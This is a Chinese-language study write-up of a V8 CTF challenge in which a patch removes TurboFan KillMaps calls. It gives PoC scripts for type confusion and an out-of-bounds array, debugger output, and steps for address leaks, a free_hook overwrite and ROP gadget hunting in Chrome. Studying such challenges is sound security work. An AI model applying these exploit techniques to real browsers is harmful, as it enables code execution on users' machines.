浏览器的新手,发布文章是希望大佬们批评指正
@Wi1L 邮箱:[email protected]
首先确定v8的版本
然后对应拉取文件,打补丁,编译
本部分主要搞清楚BigUint64Array、object、arr的分布情况
演示脚本
var obj_array = {m:0xdead,n:'a'};
var big_uint_array = new BigUint64Array(6);
big_uint_array[0] = 0x1234n;
big_uint_array[1] = 0x5678n;
//console.log("oob_array len " + oob_array.length);
%DebugPrint(obj_array);
%DebugPrint(big_uint_array);
%SystemBreak();
BigUint64Array
object_array
hex(0xdead<<1) ===> '0x1bd5a'
in-object的情况下
下面看一个脚本
a = [0.1];
%DebugPrint(a);
%SystemBreak();
a[0] = {};
%DebugPrint(a);
%SystemBreak();
起初的内存情况
之后的内存情况
通过上图,我们可以看到,如果此时还可以通过double数组的形式访问a[0],那么这个a[0]实际上就是上图的map处,形成类型混淆,这里可以拓展下,其实是修改4字节
// Abstract state to approximate the current map of an object along the
// effect paths through the graph. <===沿着effect path推测一个object可能的map 放到state中
class AbstractMaps final : public ZoneObject {
public:
explicit AbstractMaps(Zone* zone);
AbstractMaps(Node* object, ZoneHandleSet<Map> maps, Zone* zone);
AbstractMaps const* Extend(Node* object, ZoneHandleSet<Map> maps,
Zone* zone) const;
bool Lookup(Node* object, ZoneHandleSet<Map>* object_maps) const;
AbstractMaps const* Kill(const AliasStateInfo& alias_info,
Zone* zone) const;
bool Equals(AbstractMaps const* that) const {
return this == that || this->info_for_node_ == that->info_for_node_;
}
AbstractMaps const* Merge(AbstractMaps const* that, Zone* zone) const;
void Print() const;
private:
ZoneMap<Node*, ZoneHandleSet<Map>> info_for_node_; <====这个是所有可能map的set
};
a = [1.1,2.2];
这个时候如果
a[0] = {};
1 、在内存中会重新申请element空间,
2、整体的element架构{map 、length、object_ptr 、double_heap_number_ptr}
详见ppt 下面也有double+SMI的情况 内存分布
参考先知的一篇文章
v8 exploit - RealWorld CTF2019 accessible - 先知社区 (aliyun.com)
对于JS类型的不稳定性,v8中有两种方式被用来保证runtime优化代码中对类型假设的安全性
通过添加CheckMaps节点来对类型进行检查,当类型不符合预期时将会bail out
以dependency的方式。将可能影响map假设的元素添加到dependencies中,通过检查这些dependency的改变来触发回调函数进行deoptimize
这里先给一下我的理解,patch文件删除的地方是一个state = state->KillMaps(alias_info, zone());,这个函数的作用是
对AbstractState进行一个更新。具体更新的内容是,检查node,如果两个node对应一个对象的话,其中一个node的map信息发生变化,对应的另一个node的map信息进行killmaps
LoadElimination::AbstractState const* LoadElimination::AbstractState::KillMaps(
const AliasStateInfo& alias_info, Zone* zone) const {
if (this->maps_) {
AbstractMaps const* that_maps = this->maps_->Kill(alias_info, zone);//这里是对state对应的maps进行kill
if (this->maps_ != that_maps) {
AbstractState* that = zone->New<AbstractState>(*this);
that->maps_ = that_maps;
return that;//这里返回的是一个state
}
}
return this;
}
上面的kill函数对应的就是下面这个
LoadElimination::AbstractMaps const* LoadElimination::AbstractMaps::Kill(
const AliasStateInfo& alias_info, Zone* zone) const {
for (auto pair : this->info_for_node_) {//遍历
if (alias_info.MayAlias(pair.first)) {
AbstractMaps* that = zone->New<AbstractMaps>(zone);//maps zone
for (auto pair : this->info_for_node_) {
if (!alias_info.MayAlias(pair.first)) that->info_for_node_.insert(pair);
}
return that;//这里返回的是map的set
}
}
return this;
}
info_for_node_指的是一个Node可能的map的set
MayAlias 是判断两个是不是Node可能对应一个对象
pair 可以存放两个任意类型的object
LoadElimination::AbstractMaps::Kill 的作用是删掉所有可能对应同一个对象的alias_Node
所以整个LoadElimination::AbstractState::KillMaps在这里是:如果一个Node的map类型改变了,其别名Node的map应该被kill掉,patch中删掉了这个,可能使得两个是同一个对象的Node对应的maps值不同,造成类型混淆
针对reduceCheckmap
Reduction LoadElimination::ReduceCheckMaps(Node* node) {
ZoneHandleSet<Map> const& maps = CheckMapsParametersOf(node->op()).maps();
Node* const object = NodeProperties::GetValueInput(node, 0);
Node* const effect = NodeProperties::GetEffectInput(node);
AbstractState const* state = node_states_.Get(effect);
if (state == nullptr) return NoChange();
ZoneHandleSet<Map> object_maps;
// 假如object_maps的Map信息并不完整,可能导致maps.contains错误地返回true
if (state->LookupMaps(object, &object_maps)) {
if (maps.contains(object_maps)) return Replace(effect); <=====如果走到这里就删掉了checkmap
// TODO(turbofan): Compute the intersection.
}
state = state->SetMaps(object, maps, zone());
return UpdateState(node, state);
}
maps.contains(object_maps)这个的作用是前面是不是包含后面maps是之前进行过一次store操作对应的map
object_maps是当前state针对具体的Node推测的map信息
根据poc,前面b[0] = 1.1 所以maps应该对应fix_double_array,由于b数组一直没有改变,所以其state推测没有变,但是对应位置的内存被a数组修改了,从而造成类型混淆。这里由于killmaps删除了,如果不删除这个的话,a数组修改内存时也会导致object_maps发生变化,从而bail out
贴一下patch脚本
diff --git a/src/compiler/load-elimination.cc b/src/compiler/load-elimination.cc
index ff79da8c86..8effdd6e15 100644
--- a/src/compiler/load-elimination.cc
+++ b/src/compiler/load-elimination.cc
@@ -866,8 +866,8 @@ Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) {
if (object_maps.contains(ZoneHandleSet<Map>(source_map))) {
object_maps.remove(source_map, zone());
object_maps.insert(target_map, zone());
- AliasStateInfo alias_info(state, object, source_map);
- state = state->KillMaps(alias_info, zone());
+ // AliasStateInfo alias_info(state, object, source_map);
+ // state = state->KillMaps(alias_info, zone());
state = state->SetMaps(object, object_maps, zone());
}
} else {
@@ -892,7 +892,7 @@ Reduction LoadElimination::ReduceTransitionAndStoreElement(Node* node) {
if (state->LookupMaps(object, &object_maps)) {
object_maps.insert(double_map, zone());
object_maps.insert(fast_map, zone());
- state = state->KillMaps(object, zone());
+ // state = state->KillMaps(object, zone());
state = state->SetMaps(object, object_maps, zone());
}
// Kill the elements as well.
从上面可以看出来是个优化漏洞
修改位置对应的函数
Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) {
ElementsTransition transition = ElementsTransitionOf(node->op());
Node* const object = NodeProperties::GetValueInput(node, 0);
Handle<Map> source_map(transition.source());
Handle<Map> target_map(transition.target());
Node* const effect = NodeProperties::GetEffectInput(node);
AbstractState const* state = node_states_.Get(effect);
if (state == nullptr) return NoChange();
switch (transition.mode()) {
case ElementsTransition::kFastTransition:
break;
case ElementsTransition::kSlowTransition:
// Kill the elements as well.
AliasStateInfo alias_info(state, object, source_map);
state = state->KillField(
alias_info, FieldIndexOf(JSObject::kElementsOffset, kTaggedSize),
MaybeHandle<Name>(), zone());
break;
}
ZoneHandleSet<Map> object_maps;
if (state->LookupMaps(object, &object_maps)) {
if (ZoneHandleSet<Map>(target_map).contains(object_maps)) {
// The {object} already has the {target_map}, so this TransitionElements
// {node} is fully redundant (independent of what {source_map} is).
return Replace(effect);
}
if (object_maps.contains(ZoneHandleSet<Map>(source_map))) {
object_maps.remove(source_map, zone());
object_maps.insert(target_map, zone());
// AliasStateInfo alias_info(state, object, source_map);
// state = state->KillMaps(alias_info, zone());
state = state->SetMaps(object, object_maps, zone());
}
} else {
AliasStateInfo alias_info(state, object, source_map);
state = state->KillMaps(alias_info, zone());
}
return UpdateState(node, state);
}
从上到下分析函数,记录不会的地方
通过调试,可以发现transition的值以及其source_map与target_map
pwndbg> p transition $1 = { mode_ = v8::internal::compiler::ElementsTransition::kSlowTransition, source_ = { <v8::internal::HandleBase> = { location_ = 0x55bd921c03c8 }, <No data fields>}, target_ = { <v8::internal::HandleBase> = { location_ = 0x55bd921c03e8 }, <No data fields>} }
查看node 以及其op的状态
pwndbg> p *node $6 = { static kOutlineMarker = 15, static kMaxInlineCapacity = 14, op_ = 0x55b73b589a10, type_ = { payload_ = 0 }, mark_ = 26, bit_field_ = 855638065, first_use_ = 0x55b73b589af8 } pwndbg> p *node->op_ $7 = { <v8::internal::ZoneObject> = {<No data fields>}, members of v8::internal::compiler::Operator: _vptr$Operator = 0x7f48ded306b0 <vtable for v8::internal::compiler::Operator1<v8::internal::compiler::ElementsTransition, v8::internal::compiler::OpEqualTo<v8::internal::compiler::ElementsTransition>, v8::internal::compiler::OpHash<v8::internal::compiler::ElementsTransition> >+16>, mnemonic_ = 0x7f48dc157777 "TransitionElementsKind", opcode_ = 293, properties_ = { mask_ = 32 ' ' }, value_in_ = 1, effect_in_ = 1, control_in_ = 1, value_out_ = 0, effect_out_ = 1 '\001', control_out_ = 0 }
(1) node的effect?
Node* const effect = NodeProperties::GetEffectInput(node);
(2) 源码与内存匹配解读
Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) { ElementsTransition transition = ElementsTransitionOf(node->op()); Node* const object = NodeProperties::GetValueInput(node, 0); <=====这里是a Handle<Map> source_map(transition.source());<===fixed_double Handle<Map> target_map(transition.target());<===object Node* const effect = NodeProperties::GetEffectInput(node); AbstractState const* state = node_states_.Get(effect); if (state == nullptr) return NoChange(); switch (transition.mode()) { case ElementsTransition::kFastTransition: break; case ElementsTransition::kSlowTransition: // Kill the elements as well. AliasStateInfo alias_info(state, object, source_map); state = state->KillField( alias_info, FieldIndexOf(JSObject::kElementsOffset, kTaggedSize), MaybeHandle<Name>(), zone()); break; } ZoneHandleSet<Map> object_maps; if (state->LookupMaps(object, &object_maps)) {<========这里进行了赋值object_maps是fixed_double if (ZoneHandleSet<Map>(target_map).contains(object_maps)) {<==这里检测object是不是包含fixed_double // The {object} already has the {target_map}, so this TransitionElements // {node} is fully redundant (independent of what {source_map} is). return Replace(effect); } if (object_maps.contains(ZoneHandleSet<Map>(source_map))) {<=这里检测fixed_double是不是包含fixed_double //如果包含就进行map的替换,同时更改其别名Node的map(但是这里被删了) object_maps.remove(source_map, zone()); object_maps.insert(target_map, zone()); // AliasStateInfo alias_info(state, object, source_map); // state = state->KillMaps(alias_info, zone()); state = state->SetMaps(object, object_maps, zone()); } } else { AliasStateInfo alias_info(state, object, source_map); state = state->KillMaps(alias_info, zone()); } return UpdateState(node, state); }
(3) 对ReduceCheckMap的调试 (感觉这个比较关键,需要知道每一个变量是啥,然后追两个函数)
Reduction LoadElimination::ReduceCheckMaps(Node* node) { ZoneHandleSet<Map> const& maps = CheckMapsParametersOf(node->op()).maps(); <===之前的fixed_double Node* const object = NodeProperties::GetValueInput(node, 0); Node* const effect = NodeProperties::GetEffectInput(node); AbstractState const* state = node_states_.Get(effect); if (state == nullptr) return NoChange(); ZoneHandleSet<Map> object_maps; if (state->LookupMaps(object, &object_maps)) { <=====我跟进了lookupmaps函数 <========这里进行了赋值object_maps是fixed_double <====当前的状态map if (maps.contains(object_maps)) return Replace(effect); <====追一下contains函数 <===之前的状态map是不是含有当前的状态map // TODO(turbofan): Compute the intersection. } state = state->SetMaps(object, maps, zone()); return UpdateState(node, state); }
poc.js
--no-enable-slow-asserts
/************************************************************* //set args --allow-natives-syntax ../../../codejs/2020_qwb_Goo/poc1.js --no-enable-slow-asserts ************************************************************/ function opt(a, b) { b[0] = 0; a.length; // TransitionElementsKind a[0] = 0; b[0] = 9.431092e-317; }; %PrepareFunctionForOptimization(opt); let holey_obj_arr = new Array(1); holey_obj_arr[0] = 'a'; let packed_double_arr1 = [1.1] opt(holey_obj_arr, packed_double_arr1); opt(holey_obj_arr, packed_double_arr1); let packed_double_arr2 = [2.2] opt(packed_double_arr2, packed_double_arr1); opt(packed_double_arr2, packed_double_arr1); %OptimizeFunctionOnNextCall(opt); let evil_arr = [0.1]; %SystemBreak(); readline(); %DebugPrint(evil_arr); opt(evil_arr, evil_arr); %DebugPrint(evil_arr); print(evil_arr[0]);
看一下POC导致的内存变化
之前的内存情况
DebugPrint: 0x23c008148981: [JSArray] - map: 0x23c0083038fd <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x23c0082cb529 <JSArray[0]> - elements: 0x23c008148971 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS] - length: 1 - properties: 0x23c0080426dd <FixedArray[0]> { 0x23c008044649: [String] in ReadOnlySpace: #length: 0x23c008242159 <AccessorInfo> (const accessor descriptor) } - elements: 0x23c008148971 <FixedDoubleArray[1]> { 0: 0.1 } 0x23c0083038fd: [Map] - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x23c0083038d5 <Map(HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x23c008242445 <Cell value= 1> - instance descriptors #1: 0x23c0082cb9dd <DescriptorArray[1]> - transitions #1: 0x23c0082cba29 <TransitionArray[4]>Transition array #1: 0x23c008044f5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x23c008303925 <Map(HOLEY_DOUBLE_ELEMENTS)> - prototype: 0x23c0082cb529 <JSArray[0]> - constructor: 0x23c0082cb2c5 <JSFunction Array (sfi = 0x23c00824f7a5)> - dependent code: 0x23c0080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0
之后的情况
DebugPrint: 0x23c008148981: [JSArray] - map: 0x23c008303975 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x23c0082cb529 <JSArray[0]> - elements: 0x23c0081489cd <FixedArray[1]> [HOLEY_ELEMENTS] - length: 1 - properties: 0x23c0080426dd <FixedArray[0]> { 0x23c008044649: [String] in ReadOnlySpace: #length: 0x23c008242159 <AccessorInfo> (const accessor descriptor) } - elements: 0x23c0081489cd <FixedArray[1]> {
脚本中a[0] = {},对于内存的变化是FixedDoubleArray ===> FixedArray,从而element指针也进行了重新内存分配
但是由于漏洞,b[0] = 9.431092e-317时;会将这个对象当作数组处理,从而使得这个指针指向的位置被修改成我们的值。
可以从上图中看出,map信息被修改了
针对2019大佬师傅blog的理解
执行arr2[0]=1.1,此时因为state仍然认为arr2是FixedDoubleArray的Map,所以会把的unboxed array的store操作前面的CheckMaps给删除掉。但是此时arr2的Element已经是FixedArray了,那么等于把一个unboxed double写入了一个存放指针的slot,即再访问arr[0]就可以产生类型混淆了 这里的unboxed array指的就是arr数组, unboxed double就是指向arr具体元素的指针(在内存里看,就是element指针)
这段话使用poc具体的调试一下
实际上这个并没有触发第3步,所生成的store操作是把一个double object的指针存放到FixedArray里面去,而不是直接存unboxed double。卡了很久之后,我猜想到的原因是在profiling JIT所用的类型信息时,执行arr2[0] = 1.1的时候因为arr2已经是个FixedArray的Array了,所以收集到的就是arr2是<Map(HOLEY_ELEMENTS)>的类型信息,导致生成的就是处理arr2的Element是FixedArray的JIT代码。所以要防止这一点,我们必须得保证在JIT前执行arr2[0] = 1.1的时候arr2必须是<Map(HOLEY_DOUBLE_ELEMENTS)>, unboxed double指的是直接一次索引(数组element位置存储)存储值,而这里(double object 下图有解释)是一个object指针 现在相当于 array / arr =====> {map,proto,elememt} element===>{map,...,double obj ptr} double obj ptr===>{heapnumber_map,1.1} 而我们想达到的效果是修改double obj ptr位置(这个位置应该是存放一个map) HOLEY_ELEMENTS相对于HOLEY_DOUBLE_ELEMENTS多了一次索引,即jit并没有成功的将arr2看成一个double_array
poc
function f(arr, arr2) { arr[0] = 1.1; arr2[0] = 2.2; // [1] arr[0] = {}; // [2] arr2[0] = 1.1; // [3] } let a; for (let i = 0; i < 0x2000; i++) { a = Array(0); f(a, a); a = Array(0); f(a, a); } a = Array(1); a[0] = 0.1; %DebugPrint(a); %SystemBreak(); f(a, a); %DebugPrint(a); %SystemBreak(); print(a[0]);
第一次print
DebugPrint: 0x2825081de289: [JSArray] - map: 0x282508303925 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x2825082cb529 <JSArray[0]> - elements: 0x2825081de2a9 <FixedDoubleArray[1]> [HOLEY_DOUBLE_ELEMENTS] - length: 1 - properties: 0x2825080426dd <FixedArray[0]> { 0x282508044649: [String] in ReadOnlySpace: #length: 0x282508242159 <AccessorInfo> (const accessor descriptor) } - elements: 0x2825081de2a9 <FixedDoubleArray[1]> { 0: 0.1 } 0x282508303925: [Map] - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: HOLEY_DOUBLE_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x2825083038fd <Map(PACKED_DOUBLE_ELEMENTS)> - prototype_validity cell: 0x282508242445 <Cell value= 1> - instance descriptors #1: 0x2825082cb9dd <DescriptorArray[1]> - transitions #1: 0x2825082cba41 <TransitionArray[4]>Transition array #1: 0x282508044f5d <Symbol: (elements_transition_symbol)>: (transition to PACKED_ELEMENTS) -> 0x28250830394d <Map(PACKED_ELEMENTS)> - prototype: 0x2825082cb529 <JSArray[0]> - constructor: 0x2825082cb2c5 <JSFunction Array (sfi = 0x28250824f7a5)> - dependent code: 0x2825080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0
内存情况
第二次
DebugPrint: 0x2825081de289: [JSArray] - map: 0x282508303975 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x2825082cb529 <JSArray[0]> - elements: 0x2825081de2d5 <FixedArray[1]> [HOLEY_ELEMENTS] - length: 1 - properties: 0x2825080426dd <FixedArray[0]> { 0x282508044649: [String] in ReadOnlySpace: #length: 0x282508242159 <AccessorInfo> (const accessor descriptor) } - elements: 0x2825081de2d5 <FixedArray[1]> { 0: 0x2825082d2b95 <HeapNumber 1.1> } 0x282508303975: [Map] - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: HOLEY_ELEMENTS - unused property fields: 0 - enum length: invalid - stable_map - back pointer: 0x28250830394d <Map(PACKED_ELEMENTS)> - prototype_validity cell: 0x282508242445 <Cell value= 1> - instance descriptors (own) #1: 0x2825082cb9dd <DescriptorArray[1]> - prototype: 0x2825082cb529 <JSArray[0]> - constructor: 0x2825082cb2c5 <JSFunction Array (sfi = 0x28250824f7a5)> - dependent code: 0x2825080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0
内存情况
改进方法
function f(t1, t2, arr, arr2) { arr[0] = 1.1; arr2[0] = 2.2; if (t1) arr[0] = {}; if (t2) arr2[0] = 13.37; } let a; for (let i = 0; i < 0x2000; i++) { a = Array(0); f(true, false, a, a); a = Array(0); f(false, true, a, a); } a = Array(0); f(true, true, a, a); print(a[0]);
通过交叉实现目的
function opt(a, b) { b[0] = 0; a.length; // TransitionElementsKind for (let i = 0; i < 1; i++) a[0] = 0; b[0] = 9.431092e-317; } let arr1 = new Array(1); arr1[0] = 'a'; opt(arr1, [0]); let arr2 = [0.1]; opt(arr2, arr2); %SystemBreak(); %OptimizeFunctionOnNextCall(opt); opt(arr2, arr2); // assertEquals(9.431092e-317, arr2[0]); print (arr2[0]);
首先这个poc起初没有成功断在源码的位置,这就是个问题,之前确实成功断了下来,但是现在有点迷
因为这个poc是针对799263的,并不是我们要调试的qwb
另一个poc.js,这个主要是明白修改四字节导致数组溢出(主要是明白指针压缩)
function foo(a, b) { let tmp = {}; b[0] = 0; a.length; for(let i=0; i<a.length; i++){ a[i] = tmp; } let o = [1.1]; b[15] = 4.063e-320;//这里改的是后32位 , 虽然数组操作是64位的 return o; } let arr_addr_of = new Array(1); arr_addr_of[0] = 'a'; for(let i=0; i<10000; i++) { eval(`var tmp_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];`); foo(arr_addr_of, [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]); foo(tmp_arr, [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]); } var float_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]; %DebugPrint(float_arr); %SystemBreak(); var oob_array = foo(float_arr, float_arr, {}); %DebugPrint(float_arr); %SystemBreak(); console.log(oob_array.length);
这样构造的原因见 resource/2020qwbGoo.pdf
第一次
DebugPrint: 0x1d45081e1ef9: [JSArray] - map: 0x1d45083038fd <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x1d45082cb529 <JSArray[0]> - elements: 0x1d45081e1e39 <FixedDoubleArray[23]> [PACKED_DOUBLE_ELEMENTS] - length: 23 - properties: 0x1d45080426dd <FixedArray[0]> { 0x1d4508044649: [String] in ReadOnlySpace: #length: 0x1d4508242159 <AccessorInfo> (const accessor descriptor) } - elements: 0x1d45081e1e39 <FixedDoubleArray[23]> { 0: 1.1 1: 2 2: 3 3: 4 4: 5 5: 6 6: 7 7: 8 8: 9 9: 10 10: 11 11: 12 12: 13 13: 15 14: 16 15: 17 16: 18 17: 19 18: 20 19: 21 20: 22 21: 23 22: 24 } 0x1d45083038fd: [Map] - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x1d45083038d5 <Map(HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x1d4508242445 <Cell value= 1> - instance descriptors #1: 0x1d45082cb9dd <DescriptorArray[1]> - transitions #1: 0x1d45082cba29 <TransitionArray[4]>Transition array #1: 0x1d4508044f5d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x1d4508303925 <Map(HOLEY_DOUBLE_ELEMENTS)> - prototype: 0x1d45082cb529 <JSArray[0]> - constructor: 0x1d45082cb2c5 <JSFunction Array (sfi = 0x1d450824f7a5)> - dependent code: 0x1d45080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0
内存情况
第二次
DebugPrint: 0x1d45081e1ef9: [JSArray] - map: 0x1d4508303975 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x1d45082cb529 <JSArray[0]> - elements: 0x1d45081e1f25 <FixedArray[23]> [HOLEY_ELEMENTS] - length: 23 - properties: 0x1d45080426dd <FixedArray[0]> { 0x1d4508044649: [String] in ReadOnlySpace: #length: 0x1d4508242159 <AccessorInfo> (const accessor descriptor) } - elements: 0x1d45081e1f25 <FixedArray[23]> { 0-22: 0x1d45081e1f09 <Object map = 0x1d45083022cd> } 0x1d4508303975: [Map] - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: HOLEY_ELEMENTS - unused property fields: 0 - enum length: invalid - stable_map - back pointer: 0x1d450830394d <Map(PACKED_ELEMENTS)> - prototype_validity cell: 0x1d4508242445 <Cell value= 1> - instance descriptors (own) #1: 0x1d45082cb9dd <DescriptorArray[1]> - prototype: 0x1d45082cb529 <JSArray[0]> - constructor: 0x1d45082cb2c5 <JSFunction Array (sfi = 0x1d450824f7a5)> - dependent code: 0x1d45080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0
突然发现忘记打印oobarray了...
重新操作下,简单记录
第一次
第二次
a[0] = {}这样的话在内存中是一个map值(obj的map)
可以通过 obj->constructor->code->text_addr 的⽅式来获取 text 段地址,有了 text 段地址就可以得到 libc 地址了,有了 libc 地址计算 得到 free hook 以及 system 地址,将 free_hook 改成 system ,然后触发释放就可以了。
一个教程
https://brookhong.github.io/2016/10/09/debug-chrome-with-gdb.html
首先要清楚解析的是html文件,所以文件的名称要是对的
gdb中要设置可以调试子进程
set follow-fork-mode child
此外要开启chrome的调试选项
root下调试chrome,记得如何调整pwn-debug插件
现在我实现了这样
[+] float arr constructor addr: 0x000000000845e52d [+] code obj addr: 0x0000000000045661 [+] text addr: 0x00007f403ae39dc0 pwndbg> vmmap 0x00007f403ae39dc0 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x7f403ae0d000 0x7f403b903000 r-xp af6000 3bc000 /home/ubuntu2004/now/Release/libv8.so +0x2cdc0
我想泄露enrvion指针得到栈地址,所以我需要libc地址,所以我需要got表项(要被解析过的)
但是在我们找到text_addr的位置使用got命令,出现下面的问题
最终的标准是这样的
var text_base = text_addr - 0x2cdc0n - 0x3bd000n; // Hprint("[+] ttext_base: "+hex(text_base)); 根据命令推测 pwndbg> vmmap 0x00007f403ae39dc0 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x7f403ae0d000 0x7f403b903000 r-xp af6000 3bc000 /home/ubuntu2004/now/Release/libv8.so +0x2cdc0 <==================================第一个减的数字
我们要找的地址是下面的libc_base,所以还要减去后面的那个数字
找到了libc_base了,下一步是找到printf_got,因为上面的got命令失效,所以我使用了下面的方法
找到了got,利用任意读,泄露printf地址,进而泄露libc
这一步可以同时找到mprotect的地址
这里的libc指的应该是这个
之后查看environ的地址
通过这个读出栈地址
接下来就是构造rop链的问题
参考exp中使用的是text_base+off,这里尝试找到text_base搜索的方法,(应该也可以使用libc_base)
objdump -d vmlinux > gadget.txt vi gadget.txt 搜索即可
首先起一个chrome
之后正常访问脚本
然后查看进程树
使用root权限开gdb 并附加进程
可能刚开始进程不对应,找到指定进程即可
vim搜索的下一个是 N , 上一个# (回车之后操作)
在找gadgets的时候出现问题,不太会搜gadgets
search -x ..... -e
使用pwndbg进行搜索(不过也可以使用linux内核的那个objdump,这个方法单纯搜ret好用一些,但是这种方法不能拆散之前成组的gadgets)
5a是pop rdx
所以这里写几个汇编的机器码
我们需要的是上面中存在与libcv8.so的(它这个是按地址进行从上到下搜索,所以通过vmmap v8 我们可以知道大概在哪里停下)
这里使用pwntools的asm功能生成
pop rdx,ret ; 5a c3 pop rdi,ret ; 5f c3 pop rsi,ret ; 5e c3 add rsp 0x78; pop rbx; pop rbp; ret; 4883c4785b5dc3
遇到新的问题,现在当我完成整个脚本的时候,不会调试。整个脚本的情况下,chrome直接崩溃,不给我调试的机会
目前的方法是在ret位置断点,因为chrome一直没有关,所以其实每次的libv8.so基地址相同,断点可以一直断
在我自己写的脚本中,ret一直段不下来
但是当我使用detach,出现/bin/xcalc....迷~~~(这个说明不了什么,说明我attach错了进程罢了)
当我在标准exp脚本的最后加上输出信息时,利用失败,可见最后部分不能随便加东西
字节的脚本crash的位置
RAX 0x834808ec834800c3 RBX 0x7fff5a9337f8 —▸ 0x2159c9217850 ◂— 0x70007400740068 /* 'h' */ RCX 0xffffffffffffffa0 RDX 0x0 RDI 0x7ffa6495c1ca ◂— ret RSI 0x7fff5a9337f8 —▸ 0x2159c9217850 ◂— 0x70007400740068 /* 'h' */ R8 0x7aec7a098a0 —▸ 0x1aff0c20dd00 ◂— 0x3300000003 R9 0x0 R10 0x7ffa66618506 ◂— '_ZN5blink18MainThreadDebugger15ExceptionThrownEPNS_16ExecutionContextEPNS_10ErrorEventE' R11 0x7ffa6788e610 ◂— push rbp R12 0x0 R13 0x1 R14 0x7ffa6495c1ca ◂— ret R15 0x33 RBP 0x7fff5a933830 —▸ 0x7fff5a933860 —▸ 0x7fff5a9338c0 —▸ 0x7fff5a933a50 —▸ 0x7fff5a933a90 ◂— ... RSP 0x7fff5a9337f0 ◂— 0x6f63222c3531333a (':315,"co') RIP 0x7ffa6d1f2d87 ◂— call qword ptr [rax + 0x130] ──────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────── ► 0x7ffa6d1f2d87 call qword ptr [rax + 0x130] 0x7ffa6d1f2d8d mov ebx, eax 0x7ffa6d1f2d8f cmp byte ptr [rbp - 0x21], 0 0x7ffa6d1f2d93 jns 0x7ffa6d1f2d9e <0x7ffa6d1f2d9e> 0x7ffa6d1f2d95 mov rdi, qword ptr [rbp - 0x38] 0x7ffa6d1f2d99 call 0x7ffa6d58c2b0 <0x7ffa6d58c2b0> 0x7ffa6d1f2d9e mov eax, ebx 0x7ffa6d1f2da0 add rsp, 0x20 0x7ffa6d1f2da4 pop rbx 0x7ffa6d1f2da5 pop r12 0x7ffa6d1f2da7 pop r14 ───────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fff5a9337f0 ◂— 0x6f63222c3531333a (':315,"co') 01:0008│ rbx rsi 0x7fff5a9337f8 —▸ 0x2159c9217850 ◂— 0x70007400740068 /* 'h' */ 02:0010│ 0x7fff5a933800 ◂— 0x33 /* '3' */ 03:0018│ 0x7fff5a933808 ◂— 0x8000000000000038 /* '8' */ 04:0020│ 0x7fff5a933810 —▸ 0x2159c7fd1870 —▸ 0x7ffa6d61dd70 —▸ 0x7ffa6d1e2bd0 ◂— push rbp 05:0028│ 0x7fff5a933818 —▸ 0x7aec7a098a0 —▸ 0x1aff0c20dd00 ◂— 0x3300000003 06:0030│ 0x7fff5a933820 —▸ 0x7fff5a933880 —▸ 0x1aff0c20dd00 ◂— 0x3300000003 07:0038│ 0x7fff5a933828 —▸ 0x7fff5a933840 —▸ 0x1aff0c20dd00 ◂— 0x3300000003
对应的标准状态
